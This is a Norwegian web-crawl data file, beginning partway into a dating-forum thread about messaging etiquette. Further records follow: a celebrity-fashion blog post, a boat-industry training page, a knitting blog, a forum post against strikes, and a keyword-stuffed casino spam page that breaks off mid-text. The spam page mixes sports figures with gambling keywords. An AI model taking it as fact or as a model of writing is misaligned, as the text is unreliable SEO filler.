tuller.  \nVisste ikke at skost\u00f8rrelsen har noe med DET \u00e5 gj\u00f8re\n\n\\*tar en omvei rundt fyren\\*  \n@ sta, men den er ikke sann da ;) bare en myte ^^ MEN.. underarmen er like lang som foten da.. det er det eneste interessante ang\u00e5ende fotst\u00f8rrelse :p men ser ikke poenget i \u00e5 skryte p\u00e5 seg en lang underarm akkurat...\n\nBeklager sushi. Jeg var nok litt framp\u00e5. I tillegg l\u00f8y jeg om st\u00f8rrelsen. Den er 41. Helt sant. ;)\n\nSkjult ID med pseudonym sushibabe on. 18 jan. 2012 16:40  \n\nDet er vel mest sannsynlig at det blir ikke noe date her.  \n  \nMen jeg \u00f8nsket snarere \u00e5 vite hva er det som DERE legger merke til i SKRIVEFASEN ?\n\nSkjult ID med pseudonym sushibabe on. 18 jan. 2012 16:41  \n\nSprt  \n  \nSKUFFA ;))))\n\nSkjult ID med pseudonym sta on. 18 jan. 2012 16:41  \n\nHaha kan jo v\u00e6re noen som faller for lang underarm :p  \n  \nDet er godt, for jeg har sm\u00e5 f\u00f8tter lol \\* kjempegod egenreklame alts\u00e5 ;) \\*  \nEr nok bare en myte ja, noen avvik m\u00e5 nok p\u00e5regnes :p  \n  \nDu f\u00e5r sp\u00f8rre om h\u00f8yre arm har mer muskler enn venstre, det vil nok si noe om sexdriften ihvertfall, erm, egentreningen ;)\n\nSkjult ID med pseudonym sta on. 18 jan. 2012 16:42  \n\nEr hun smellvakker legger jeg merke til absolutt ingenting ;) \\* starstruck \\*\n\nSkjult ID med pseudonym mouch on. 18 jan. 2012 16:44  \n\nSkost\u00f8rrelse 41?\n\nSkjult ID med pseudonym blahmann on. 18 jan. 2012 16:44  \n\ner det nien som faller for skost\u00f8rrelse her?\n\nSkjult ID med pseudonym prefect on. 18 jan. 2012 16:49  \n\nVel, glimt i \u00f8yet, bidra til \u00e5 holde samtalen i gang, generelt lett tone etc. I alle fall det jeg merker meg. Trenger ingen disputaser om detaljer, men synes det er spennende med noen opplysninger som gj\u00f8r en nysgjerrig (slik som kan bli naturlige samtaletema p\u00e5 en evt date feks?)  \n  \nSynes i alle fall uformell tone er greitt, ikke no galt med fl\u00f8rting, men kj\u00e6rlighetserkl\u00e6ringer blir for heavy\\!  \n  \nOg fra jentene sin del?\n\nSkjult ID med pseudonym Charleene on. 18 jan. 2012 16:56  \n\nTenker ikke jeg skal treffe han som sier han vil ha bilde av puppene mine f\u00f8r han treffer meg... den gikk bare ikke inn hos meg ass\u00e5......sorry , mac...\n\nenig med deg sushi. noe som helst tegn til sexuell tiln\u00e6rming s\u00e5 trekker jeg meg vekk. synes det er ibehagelig. ogs\u00e5 hvis fyren overrauser meg med komplimenter, da f\u00e5r jeg presentasjonsangst.. er generelt veldig kresen tror jeg, og veldig var.. kun m\u00f8tt en p\u00e5 6 mnd.. :-P\n\nSkjult ID med pseudonym sirene on. 18 jan. 2012 17:03  \n\nBlir kjempeskeptisk n\u00e5r fyren er opptatt av kroppen min og hvordan jeg er i senga, f\u00f8r vi har m\u00f8tt hverandre engang- da bjeller det kraftig i alarmklokkene hos meg :(\n\n (kvinne 43 \u00e5r fra M\u00f8re og Romsdal)  on. 18 jan. 2012 17:09  Privat melding \n\nenig med askja.. f\u00e5r ogs\u00e5 prestasjonsangst hvis det blir for mye komplimenter :p  \nHar ogs\u00e5 bestemt meg at jeg ikke gidder \u00e5 \"fantasere\" sammen med noen og skape en boble f\u00f8r vi ogs\u00e5 har v\u00e6rt p\u00e5 date.. for fallh\u00f8yden blir bare s\u00e5 stor n\u00e5r det ikke fungerer ;)\n\nSkjult ID med pseudonym sushibabe on. 18 jan. 2012 17:10  \n\nNettopp dette med bilder.  \nOm man selv har profilbilde + fotoalbum med flere bilder og noen menn sp\u00f8rrer uansett om du kan sende enda flere bilder p\u00e5 email det synes jeg er turn off. Ofte de mennene som \u00f8nsker det har d\u00e5rlige og uskarpe bilder av seg selv.  \nAskja  \nfinnes det ikke s\u00e5 veldig mange kjekke og oppeg\u00e5ende tr\u00f8ndere i din aldersgruppe ? :)\n\n (kvinne 27 \u00e5r fra S\u00f8r-Tr\u00f8ndelag)  on. 18 jan. 2012 17:17  Privat melding \n\nsushidet gj\u00f8r det nok, men som sagt s\u00e5 er jeg veldig var p\u00e5 de som faktisk er interesserte. det er f\u00e5 menn som klarer \u00e5 tiln\u00e6rme seg p\u00e5 den m\u00e5ten at jeg tlr \u00e5 m\u00f8te dem.. :-P har nettopp kommet ut av et forhold som har gjort meg usikker og veldig n\u00f8ye p\u00e5 hvem den neste blir, s\u00e5 da somler jeg nok litt med vilje.  \n  \nog de jeg pr\u00f8cer meg p\u00e5 liker somregel ikke meg, man blir fort silt ut n\u00e5r man er ung med barn :-) og det skj\u00f8nner jeg godt :-P  \n  \nfeilen ligger nok mye hos meg og hvordan jeg responderer :-P\n\nSkjult ID med pseudonym sushibabe on. 18 jan. 2012 17:28  \n\n@perfect  \n  \nPersonlig m\u00e5 jeg bli litt sjarmret i skrivefasen, hvis dette er ikke tilfelle kan du satse p\u00e5 det at det blir kjedelig irl og.  \nGjerne komplimenter ang\u00e5ende utseendet, men ikke bare. Bedre \u00e5 si du har et pent smil enn \u00e5 skrive du har et lekent smil. Forsiktig med ordet \"leken\" , helst unng\u00e5 \u00e5 bruke det.  \nDet virker p\u00e5 meg om han har humor og er flink \u00e5 stille interessante spm. Stereotypiske spm som: hva er det du leter etter, hva jobber du med, hvor kommer du fra, hatt en fin helg/ dag/ kveld,hvem er s\u00e5 deg osv er d\u00f8dskjedelige.  \nBruk gjerne utrykk ...du virker \u00e5 v\u00e6re, du virker som.... synes det er mest passende siden vi ser bare bilder av hverandre.\n\nSkjult ID med pseudonym prefect on. 18 jan. 2012 17:35  \n\nTakk for svar sushibabe.  \n  \nVisste ikke om denne \"leken\" -fella, \\*kikker raskt gjennom siste meldinger for \u00e5 se det er blitt brukt\\* ;-)  \n  \nEllers s\u00e5 virker det du skriver veldig fornuftig, pr\u00f8ver vel \u00e5 etterkomme omtrent det samme n\u00e5r jeg skriver (skj\u00f8nt, man har jo klart sende meldinger som kanskje ikke var av de mest geniale...)\n\nSkjult ID med pseudonym Sprt on. 18 jan. 2012 17:42  \n\nDet som er avgj\u00f8rende for meg er om vi p\u00e5 forh\u00e5nd har funnet tonen via brev. Men da kommer ogs\u00e5 de store forh\u00e5pningene og fallh\u00f8yden blir ganske stor hvis det likevel ikke skulle stemme. Har jo opplevd dette noen ganger kan man si. Jeg har ogs\u00e5 m\u00f8tt et par stykker, samme dag som vi har begynt \u00e5 skrive, men da har jeg ikke klart \u00e5 v\u00e6re meg selv, blitt for nerv\u00f8s. S\u00e5 jeg liker best \u00e5 bli litt godt kjent f\u00f8rst. Litt sm\u00e5hyggelig fl\u00f8rting og god kommunikasjon. Humor og tull er veldig viktig i starten.  \n  \nFader at du er mann, jeg kunne falt for deg \\<3  \n  \nsvamp  \nSkrev jeg ikke tommer? ;)\n\nSkjult ID med pseudonym sushibabe on. 18 jan. 2012 17:50  \n\nHar glemt \u00e5 skrive, det er helt ok \u00e5 v\u00e6re litt sm\u00e5frekk og, men da m\u00e5 du v\u00e6re sikker p\u00e5 at dere er p\u00e5 samme b\u00f8lgelengde ifht humor\n\nSkjult ID med pseudonym sta on. 18 jan. 2012 18:14  \n\nHehe takker for komplimentet spruten :)  \n  \nJeg vet, er ett skikkelig varp, kan ikke noe for at jeg er s\u00e5 fantastisk\\!  \n  \nDu har jo \"rett og slett frekk\" og \"erten frekk\" da sushi ;)\n\nSkjult ID med pseudonym Anon on. 18 jan. 2012 18:20  \n\nEKS 1: \"Kan jeg f\u00e5 se flere bilder, eller? Slapp av, jeg kommer ikke til \u00e5 misbruke dem. Ved mindre det er nakenbilder, da. He he. Neida, du kan stole p\u00e5 meg. Jeg jobber i politiet.\"  \n  \nEKS 2: Du var s\u00f8t\\! Lyst p\u00e5 en elsker?  \n  \nEKS 3: Jeg elsker deg. (etter 2 uker, uten \u00e5 ha m\u00f8tt meg)\n\nSkjult ID med pseudonym sushibabe on. 18 jan. 2012 22:43  \n\n@sta  \n  \nDu skulle bare visst ;)  \n  \n@Anon  \nEKS 4  \nBare si n\u00e5r og hvor s\u00f8ta, jeg setter meg i bilen de 3 timer kj\u00f8ring fram og tilbake gj\u00f8r meg ikke noe. Jeg er spontan og impulsiv av meg.\n\nSkjult ID med pseudonym sta on. 18 jan. 2012 22:45  \n\nM\u00e5 gjerne sende meg frekke meldinger, s\u00e5 skal det nok komme noe like frekt tilbake ;)\n\nSkjult ID med pseudonym Charleene on. 18 jan. 2012 22:46  \n\nanon...leeeer.... du har sykt gode poenger der.....\\!\\!\\!\\!\\!\\!\\!\n\nNoen som er usikker i dag?\n\nmjeeeeh f\u00f8ker aldri jeg kommer til det stadiet at det er aktuelt engang jeg :-P har p\u00e5 en m\u00e5te.. gitt opp litt? alle de kjekke, morsomme mannfolka er jo 1: gamle 2: langt vekke 3: klmbinasjon av de to. griiin.\n\nSkjult ID med pseudonym sushibabe s\u00f8. 22 jan. 2012 13:52  \nAlle kjekke, morsomme mannfolka er GAMLE? Er det sant Askja :)\n\n\\*ler\\* haha\\! kun to -tre personer som har klart \u00e5 holde p\u00e5 en morsom og interessant samtale her inne :-P og det er ikke n\u00f8dvendigvis p\u00e5 en fl\u00f8rtebde m\u00e5te heller, men samtaler uten press og som f\u00e5r meg til \u00e5 glede meg til \u00e5 sjekke inboksen :-) fellesnevneren er dog hly alder og feil plass. skulle \u00f8nske flere menn kunne ha samtale-kvaliteter :-) setter stor pris p\u00e5 en mann som kan starte med vennskap som kan utvikle seg, og ikke tenker p\u00e5 sex eller legger press p\u00e5 meg p\u00e5 andre m\u00e5ter. det vil jeg si er mangelvare. og ja, jeg er usikker p\u00e5 meg selv, s\u00e5 den st\u00f8rsye feilen ligger nok k meg\\! :-)\n\nSkjult ID med pseudonym sushibabe s\u00f8. 22 jan. 2012 14:07  \n\nVet du hva Askja Du er en fornunftig jente :-))  \n  \nN\u00e5 m\u00e5 ALLE vite at sola skinner i Tr\u00f8ndelag,. En deilig dag , vi m\u00e5 ut Askja :-))))) \\!\\!\\!\\!\\!\\!\n\nhehehe kaffe? :-D\n\nSkjult ID med pseudonym s\u00f8ker s\u00f8. 22 jan. 2012 14:10  \n\n@Askja,  \nKanskje du burde se litt mer etter potensiale.  \nBlant de single p\u00e5 din egen alder finner du jo potensiale til mye bedre kvalitet enn det du finner blant oss gamle desperate left-overs.\n\njeg tror nok det er nye potensiale der ute, men jeg er vel litt for usikker til at jeg har lagt meg i selen enda uansett.. :-)\n\nSkjult ID med pseudonym Powpow s\u00f8. 22 jan. 2012 14:55  \n\nDette h\u00f8res ut som en tr\u00e5d der jeg h\u00f8rer hjemme.... ......om jeg fikk meldinger fra noen jenter vel og merke. :P\n\nSushibabe, leste bare tr\u00e5dstarten, det er egentlig enkelt, f\u00f8lg innstinktet ditt, sier det deg at dette er en \u00e5lreit fyr du vil vite mer om og du vil l\u00e6re \u00e5 kjenne, s\u00e5 hiv deg utp\u00e5 og bli kjent IRL. Er det noe som skurrer og du ikke helt har hjertet med deg, avvis pent og g\u00e5 videre :-)  \nDet er ikke antall dater eller hyppigheten, men hvem du treffer som teller :-)  \n  \nLykke til\\!  \nKlem fra sukkers\u00f8ster :-)\n\nSkjult ID med pseudonym sushibabe s\u00f8. 22 jan. 2012 16:35  \n\nAquenna  \n  \nFyren virker betatt f\u00f8r han har overhodet m\u00f8tt meg. Fikk tel.nr allerede, og ble invitert p\u00e5 middag,det er bare opp til meg n\u00e5. jeg har foresl\u00e5tt en vennskapelig treff i f\u00f8rste omgang og gjett at det var ogs\u00e5 alright for han hehe\n\nHehehe good for you\\! Kos deg, og husk, vi angrer gjerne mer p\u00e5 det vi ikke gj\u00f8r enn det vi gj\u00f8r. Det er jo ikke utenkelig at en fyr er betatt f\u00f8r han har truffet deg, han finner deg attraktiv, det er jo bare fint det og fullt ut lovlig :-) har du en god magef\u00f8lelse for \u00e5 treffe ham, s\u00e5 gi ham en sjanse :-) du forplikter deg ikke til noe som helst ved \u00e5 m\u00f8te vedkommende, dere finner fort nok ut om det er noe reellt mellom dere :-)\n\nSkjult ID med pseudonym askeladd\\* s\u00f8. 22 jan. 2012 18:53  \n\n@sushi  \n  \nfikk litt lyst \u00e5 fortelle om hvor fort jeg har opplevd noe , som dere beskriver oppe:  \nmannen g\u00e5r av hengslene og mister bakkekontakt og oversikten... og omsorgsevnen for motparten.  \nLitt mer s\u00e5nn \"jakt-feber opplegg\" uten kontroll, mistforst\u00e5 meg rett her;-)  \nFull fokus p\u00e5 det en jakter p\u00e5 og tunell-blikk. ikke tid til vel avveide besluttninger som tar tid, bli sakte kjent med den spennende damen, bare full kj\u00f8r..og STOPP  \n  \ndamen borte , hufff :-(  \n  \nAlts\u00e5:  \ngjennomtenkt vanligvis reflektert balansert mann starter bekjentskap, som er veldig lovende, fl\u00f8rter, smilefjes og mld g\u00e5r begge veier. Fantastisk \\!  \n  \nBilder f\u00f8lger , utvekslingen \u00f8ker, hyggelige svar p\u00e5 det en lurer p\u00e5 , hjertet begynner \u00e5 hoppe JUHU \\!\\!\\!  \nog da kan det bli at en g\u00e5r seg litt vill i dr\u00f8mmene / \u00f8nskene sine , sender tlf nr og blir utilregnelig.  \nVidere mister han den sunne bakkekontakten og det som egentlig ER i realiteten , i kvinnens liv og hennes st\u00e5sted o forhold til ham.  \n  \nS\u00e5 blir hun redd, skuffet, mister interessen og vips er hun borte.  \nS\u00e5 lander mannen hart p\u00e5 bakken og skj\u00f8nner ingenting av det hele. Hva skjer 'a ?  \n  \nMener ikke at slik atferd er i orden, bare det har s\u00e5 lett for \u00e5 skje ubemerket og har det f\u00f8rst skjedd , s\u00e5 er l\u00f8pet kj\u00f8rt.  \nSynd for begge parter.  \n  \nEr mannen skeptisk og pr\u00f8ver \u00e5 holde tilbake det han f\u00f8ler, s\u00e5 finner kvinne fort ut at den ber\u00f8melige \"gnisten \" mangler, eller at det er noe rart med ham, s\u00e5 da blir det heller ikke noe mer.  \n  \nKunsten ligger nok i det , som Ole Brumm sa:  \n  \nJA takk, begge deler \\! alt til sin tid. men ikke lett, det dere der :-)\n\nSkjult ID med pseudonym sushibabe s\u00f8. 22 jan. 2012 19:23  \n\nHar snakket med den betatte mannen n\u00e5 p\u00e5 telefon i ca 1 time, det var koselig, likte stemmen.... S\u00e5 vi skal treffes i morgen :-))\n\nSkjult ID med pseudonym askeladd\\* s\u00f8. 22 jan. 2012 19:25  \n\ngratulerer \\! lykke til \\!\\!\n\nSkjult ID med pseudonym Enigma s\u00f8. 22 jan. 2012 19:27  \n\nS\u00e5 bra, sushibabe\\!  \nKrysser fingrene - lykke til\\! :-)\n\nSkjult ID med pseudonym sushibabe ti. 24 jan. 2012 00:47  \n\nDet var en riktig avgj\u00f8relse \u00e5 treffe den mannen....beste, koseligste 6 timers date p\u00e5 lenge og tiden gikk s\u00e5 fort . En ekte gentleman , fikk s\u00e5 litt prinsesse atittude i kveld jeg :-)\n\nSkjult ID med pseudonym sta ti. 24 jan. 2012 00:55  \n\nS\u00e5 bra da, fortsatt ett par gode eksemplarer der ute :)  \n  \nDet er jo fantastisk sushi, fordi du fortjener det :)\n\n (mann 47 \u00e5r fra Oslo)  ti. 24 jan. 2012 01:47  Privat melding \n\nAkkurat n\u00e5 er det Hindemith, Mozart og lettkledde romere som avgj\u00f8r om jeg har tid til denslags fritidssysler.\n\nSkjult ID med pseudonym arnold ti. 24 jan. 2012 08:09  \n\nLettkledde romere?  \nNoe vi helst ikke vil vite?\n\nSkjult ID med pseudonym Lillemeg. ti. 24 jan. 2012 11:21  \n\nJeg for min del har brent meg litt for mange ganger. Det har gjort meg skeptisk og stopper meg litt. Dessuten virker det som det kj\u00e6reste jeg har i livet (ungene s\u00e5klart) skremmer menn og da er et jo uansett ikke noe \u00e5 satse p\u00e5. Den som ikke kan akseptere ungene mine som en del av meg, er nok ikke den rette. Det virker som mange menn helst vil ha min fulle og hele oppmerksomhet hele tiden og at da blir unger et forstyrrende moment bare virker det som. Men, sorry gutter, ungene g\u00e5r faktisk foran, jeg kunne aldri latt noen/noe bli viktigere i livet mitt enn dem. Ikke noe vits \u00e5 g\u00e5 videre fra brevskriving til date, om det er utgangspunktet.  \n  \nJeg bakker ogs\u00e5 om det kommer sexmeldinger og \"tilbud\" i 1 eller . 2. melding. Noe av det verste jeg vet, og jeg mister respekten for vedkommende med en gang.  \n  \nTid er ogs\u00e5 en faktor i det hele. Skal man bli kjent med noen,m\u00e5 man f\u00f8rst av alt ha tid.  \nMen for \u00e5 virkelig bli kjent med noen m\u00e5 man tilbringe tid sammen, face to face.  \nV\u00e6re sammen i hverdagen, ikke bare en gang i blant. For det er jo hverdagene man skal dele sammen evt. og da m\u00e5 man faktisk finne ut om man fungerer sammen, nettopp i hverdagen.  \n  \nSjelden man kommer dit.\n\nSkjult ID med pseudonym s\u00f8ker ti. 24 jan. 2012 11:38  \n\n@Lillemeg  \nDet er ikke menn generellt som er problemet. Du m\u00e5 revurdere kriteriene dine siden du velger feil hele tiden.\n\n (kvinne 43 \u00e5r fra M\u00f8re og Romsdal)  ti. 24 jan. 2012 12:06  Privat melding \n\nSier heller ikke at det er menn som er problemet. Bare at jeg har brent meg. Jeg har v\u00e6rt alene i snart 3 \u00e5r n\u00e5 og bare hatt et forhold til en mann en liten periode ( det var 1. \u00e5ret jeg var singel, og han skremte etterhvert livet av meg, s\u00e5 det gjorde ikke saken bedre)  \n  \nHar ogs\u00e5 f\u00e5tt en utrolig god venn, som jeg kan snakke med alt om, vi er utrolig lik p\u00e5 mange m\u00e5ter. Han skulle vel \u00f8nsket at det ble noe mer, men f\u00f8lelsene og kjemien som m\u00e5 til for \u00e5 f\u00e5 et forhold til \u00e5 fungere var /er overhode ikke tilstede for min del. Det m\u00e5 v\u00e6re gjensidig.  \n  \nJeg har ikke s\u00e5 veldig mange kriterier. Han skal ikke v\u00e6re over normalt sjalu av seg og v\u00e6re ferdig med festing og fyll. Har man levd med alkohol og tillitsbrudd er det vanskelig \u00e5 stole p\u00e5 noen igjen. Jeg er ikke avholds, kan nyte en flaske vin i blant jeg. men m\u00e5tehold er stikkordet.  \n  \nMen det er rart dette, hvordan man igjen og igjen trekkes mot samme typer mennesker.\n\n (kvinne 43 \u00e5r fra M\u00f8re og Romsdal)  ti. 24 jan. 2012 12:09  Privat melding \nOg der var jeg ikke \" Lillemeg\" lenger\n\n", "language": "no", "__index_level_0__": "f4af63ba-d0e4-4394-8fbd-7074cddb0b6b"}
{"url": "http://loveit01.blogg.no/1313005879_flaut_eller_hva.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-24T23:33:06Z", "text": "## Flaut eller hva?\n\n  - 10.aug.2011 kl.21:51 i Blogg\nMange synes sikkert at kjendiser er spesielle og heldige og de er det p\u00d5 mange m\u00d5ter, men alle kan gj\u00b0re feil \u00d5 tabbe seg ut.\n\n  \n  \nJeg vil si at Lady gaga g\u00d5r litt for lettkledd. P\u00d5 dette bildet viser hun litt for mye av seg selv.\n\n  \n  \n  \nBeyonce er som oss, vedder p\u00d5 at mange av dere ogs\u00d5 har gjort samme feil.\n\n  \n  \n\nSvetteringer under armene er en klassisk tabbe.\n\n\u0100\n\n\\-***Hva synes du om dette?***\n\n\u0100\n\n", "language": "no", "__index_level_0__": "7f1d2a98-ddec-426e-be07-9e14472eb747"}
{"url": "http://www.norboat.no/prosjekt/om-norboats-opplering/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:35:52Z", "text": "#  Hvorfor fokus p\u00e5 kurs og oppl\u00e6ring?\n\n# Om Norboat oppl\u00e6ring\n\n**Norboat oppl\u00e6ring har som form\u00e5l \u00e5 tilby medlemmene av Norboat kurs, oppl\u00e6ring mv. som oppleves relevant for medlemmene, som har h\u00f8y kvalitet til lavest mulige kostnader, og som p\u00e5 sikt skal bidra til \u00e5 heve niv\u00e5et p\u00e5 hele n\u00e6ringen - til beste for brukerne og for bransjen selv.**\n\nNorboat benytter seg b\u00e5de av interne ressurser og eksterne samarbeidspartnere som er spesialister innen de aktuelle fagdisipliner, for avholdelse av kurs, seminarer o.l. M\u00e5let v\u00e5rt er at vi til enhver tid skal kunne tilby v\u00e5re medlemmer den best tilgjengelige kompetanse til lavest mulig pris, innen de omr\u00e5der medlemmene opplever \u00e5 ha behov for kompetansetilf\u00f8rsel.\n\nAlle aktiviteter avholdt i regi av Norboat evalueres i etterkant med sikte p\u00e5 \u00e5 gj\u00f8re tjenestene enda bedre. Norboat tar gjerne i mot forslag til nye kurs, forbedring av eksisterende kurs, og annen oppl\u00e6ring, som m\u00e5tte oppleves relevant for medlemmene \u00e5 melde inn. Dette vil hjelpe oss til \u00e5 skape enda bedre tjenester for deg som medlem\\!\n\nVennligst benytt nedenst\u00e5ende elektroniske skjema til \u00e5 tipse oss om nye tjenester du \u00f8nsker Norboat skal tilby, eller gi en evaluering av aktiviteter du allerede har deltatt p\u00e5 i regi av Norboat. Bruk ogs\u00e5 gjerne litt tid p\u00e5 internettsiden v\u00e5r til \u00e5 se om du har behov for kompetanseheving innen noen av de omr\u00e5dene vi tilbyr oppl\u00e6ring.\n\nFor \u00f8vrig vil vi \u00f8nske deg vel m\u00f8tt p\u00e5 v\u00e5re arrangementer\\! Husk at din deltakelse er viktig for at vi skal kunne tilby gode tjenester\\!\n\n##### Norboat\n\nNorboat er B\u00e5tbransjeforbundet i Norge. Vi representerer den norske fritidsb\u00e5tbransjen. Norboats m\u00e5l er \u00e5 skape best mulige ramme-betingelser for b\u00e5tbransje og b\u00e5tliv. Norboat er ogs\u00e5 en h\u00f8ringsinstans og samarbeidspartner for offentlige etater og andre b\u00e5tlivs-organisasjoner.\n\nFornebuveien 1-3, 1366 Lysaker\u00a0| firstname.lastname@example.org\u00a0| +47 23 08 62 80\n", "language": "no", "__index_level_0__": "285b8999-3ce3-42b1-b148-508ef3e42b2a"}
{"url": "http://by-marianne.blogspot.com/2012/09/kjkkenhandkle.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:49:48Z", "text": "    \n\n## mandag 17. september 2012\n\n### Kj\u00f8kkenh\u00e5ndkle\n\nHar v\u00e6rt d\u00e5rlig med innsatsen p\u00e5 strikkefronten i det siste, men n\u00e5 har jeg i hvertfall f\u00e5tt strikket ferdig dette kj\u00f8kkenh\u00e5ndkleet:-)\n\n\u00a0\n\n\n\u00a0\n\n\n\u00a0\n\n\n\u00a0\n \u00d8nsker dere alle en fin ny uke\\! \n\nKlem Marianne  \n  \n19:18:00       \n\n#### 14 kommentarer:\n\n1.  \n    \n    Mary-Anne17. september 2012 kl. 19:44\n    \n    \u00e5\u00e5h s\u00e5 fint det ble :)  \n    hvilket garn brukte du ?\n    \n2.  \n    \n    BrittB17. september 2012 kl. 21:16\n    \n    S\u00e5 fint h\u00e5ndkleet ble\\!  \n    Deilig med hjemmestrikka h\u00e5ndduk, jeg har ogs\u00e5 strikka noen s\u00e5nne.  \n    Ha ei fin uke\\! :-)\n    \n3.  \n    \n    drudeblaa17. september 2012 kl. 21:30\n    \n    S\u00e5 fint. M\u00e5 v\u00e6re et s\u00f8ndagsh\u00e5ndkle. Nydelige naturbilder i innlegget under. D  \n    \n4.  \n    \n    Ingunn17. september 2012 kl. 21:45\n    \n    Dette ble fint\\! Jeg har strikka ett med mindre ruter, og det er i bruk omtrent hele tida. Rett fra snora til knaggen p\u00e5 kj\u00f8kkenet, og det trodde jeg ikke p\u00e5 forh\u00e5nd. Jeg strikker selbuvotter. Det er artig med m\u00f8nsterstrikk.  \n      \n    Ha ei str\u00e5lende uke\\!  \n      \n    Klem fra Ingunn\n    \n5.  \n    \n    Humlehagen17. september 2012 kl. 22:09\n    \n    Fint h\u00e5ndkle, s\u00e5 flink du er, m\u00f8nster ogs\u00e5..)\u00d8nsker deg ei fin uke som kommer\\!:)\n    \n6.  \n    \n    Huset p\u00e5 kullen17. september 2012 kl. 22:42\n    \n    Den var riktigt s\u00f6t knappt man vill anv\u00e4nda. Ha en underbar dag kram Beijan\n    \n7.  \n    \n    Bl\u00e5b\u00e6rlina17. september 2012 kl. 23:13\n    \n    Koselig kj\u00f8kkenh\u00e5ndkle du har strikket :O)  \n    og fine bilder du har tatt.  \n    Nina\n    \n8.  \n    \n    Fru Tunheim17. september 2012 kl. 23:25\n    \n    H\u00e5ndkleet var kjempefint......oppvaskkluter strikket p\u00e5 samme m\u00e5te har jeg og de er bare kjempegode og fort gjort \u00e5 strikke er de ogs\u00e5.  \n    \n9.  \n    \n    Linn18. september 2012 kl. 07:05\n    \n    S\u00e5 flink du er:) Lekkert ble det;)  \n    \u00d8nsker deg en fin tirsdag:)  \n    Klem fra Linn\n    \n10. \n    \n    Tonemor18. september 2012 kl. 07:46\n    \n    Det ble skikkelig fint. Disse er jo virkelig gode ogs\u00e5\\!\\!\\!  \n    \u00d8nsker deg en fin dag\\!\\!\\!  \n    Klem Tone\n    \n11. \n    \n    nattugglan18. september 2012 kl. 14:38\n    \n    Men s\u00e5 himla fin.. vackert m\u00f6nster ox\u00e5.. ha en bra dag i bl\u00e5sten..V\u00e4lkommen med i min t\u00e4vling.\n    \n12. \n    \n    Eli Kristin18. september 2012 kl. 15:49\n    \n    Kjempeflott kj\u00f8kkenh\u00e5ndkle\\!\\! Liker farge og m\u00f8nster, ser superdeilig ut, thi-hi\\! :)  \n      \n    Nyyyydelige farger og bilder i innlegget under her ogs\u00e5. Blir rent misunnelig, for her har vi regnet bort de siste ukene. Bare regn, gr\u00e5v\u00e6r og innetid rett og slett. N\u00e5 kjenner jeg at det virkelig kribler etter en fjelltur. Godt \u00e5 se litt bl\u00e5 himmel ogs\u00e5, hehe\\!\\!  \n      \n    Nyt dagen\\!  \n    Klem, Eli Kristin\n    \n13. \n    \n    Hverdagsgleder18. september 2012 kl. 23:20\n    \n    Kjempefint kj\u00f8kkenh\u00e5ndkle. Har strikket flere slike med ruter. Flott med hvitt :-)))  \n    Ha en fin onsdag \\!\n    \n14. \n    \n    Victoria @9. oktober 2012 kl. 18:12\n    \n    Lekkert kj\u00f8kkenh\u00e5ndkle du har strikket\\! :)\n    \n", "language": "no", "__index_level_0__": "c6aa0d49-61bc-4260-a312-69a65106ab0f"}
{"url": "http://forum.dlf.info/viewtopic.php?f=1&t=4694&p=43845", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00375.warc.gz", "warc_date": "2018-03-24T23:22:16Z", "text": "### Streik.\n\n **Ove Kobbeltvedt** 05 Jun 2012, 18:39\n\nStreik er \u00e5penbart en mulighet for spesielle grupper innen arbeidslivet \u00e5 presse l\u00f8nnen utover markedsniv\u00e5. Det virker helt \u00e5penbart for meg at v\u00e5r samfunnsmodell med kollektiv arbeidsnekt i forbindelse med forhandlinger (med forbud for arbeidsgiver \u00e5 tilby arbeid som hans ansatte n\u00e5 nekter \u00e5 utf\u00f8re til andre som vil godta lempeligere betingelser) er en s\u00f8rgelig erstatning for effektive prismekanismer og etter min mening ogs\u00e5 en umoralsk ordning. I et fullstendig avregulert arbeidsliv vil prismekanismene virke optimalt ved at l\u00f8nnen for et arbeid er der tilbud og ettersp\u00f8rsel m\u00f8tes mellom arbeidstaker og - giver. Det skal da ikke v\u00e6re noe behov for streik med alle de ulemper det medf\u00f8rer for samfunnet som vi ser i disse dager. Javel, er det slik at l\u00f8nnen for \u00e5 jobbe i barnehage er s\u00e5 lav at rekruttering av kompetent personell svikter, s\u00e5 stiger l\u00f8nnen her automatisk og folk m\u00e5 belage seg p\u00e5 h\u00f8yere pris p\u00e5 denne tjenesten. Det er en \"ulempe\" som er mild og ogs\u00e5 rettferdig sammenlignet med den utpresningstaktikken spesielle arbeidstakergrupper driver n\u00e5 om dagen.  \n  \nImidlertid synes jeg det er vanskelig \u00e5 forst\u00e5 alle mekanismene og konsekvensene ved v\u00e5r samfunnsmodell innen dette omr\u00e5det: stikkord er bl.a. \"den norske modellen\", frontfagsmodellen og streikerett. Det hadde v\u00e6rt interessant om det fantes en analyse fra noen med liberalistisk utgangspunkt ang\u00e5ende l\u00f8nnsdannelsen i v\u00e5rt sosialdemokratiske system.\n\n  - Ove Kobbeltvedt  \n    \u00a0\n    **Innlegg:** 85\n    **Registrert:** 19 Des 2010, 14:14\n\n", "language": "no", "__index_level_0__": "2aefc269-705d-4cda-ad67-e8e97d762c32"}
{"url": "http://mangabrazin.info/slots-igrat-besplatno/319", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00170.warc.gz", "warc_date": "2018-03-24T23:43:44Z", "text": "# Online casino slots fun\n\nNorsk idrett er i stor grad tuftet p\u00e5 *online casino slots fun* en solidarisk finansieringsmodell, og at idrett skal v\u00e6re tilgjengelig ogs\u00e5 for de som ikke har s\u00e5 mye spilleautomat Superman penger, sier kommunikasjonsdirekt\u00f8r Einar Busterud. Disse tallene kan tyde p\u00e5 at Norsk Tippings monopol p\u00e5 sikt ikke bare vil bli utfordret av enkelte idrettsstjerner. Det finnes neppe noen online casino slots fun nordmann som har gitt sine norske klubber mer inntekter enn nettopp ham. Jeg er usikker p\u00e5 hvor mye John Carew bryr seg. Norges Fotballforbund er ikke like t\u00f8ffe i omtalen online casino slots fun n\u00e5 som da John Arne Riise inngikk avtale med spillselskap. 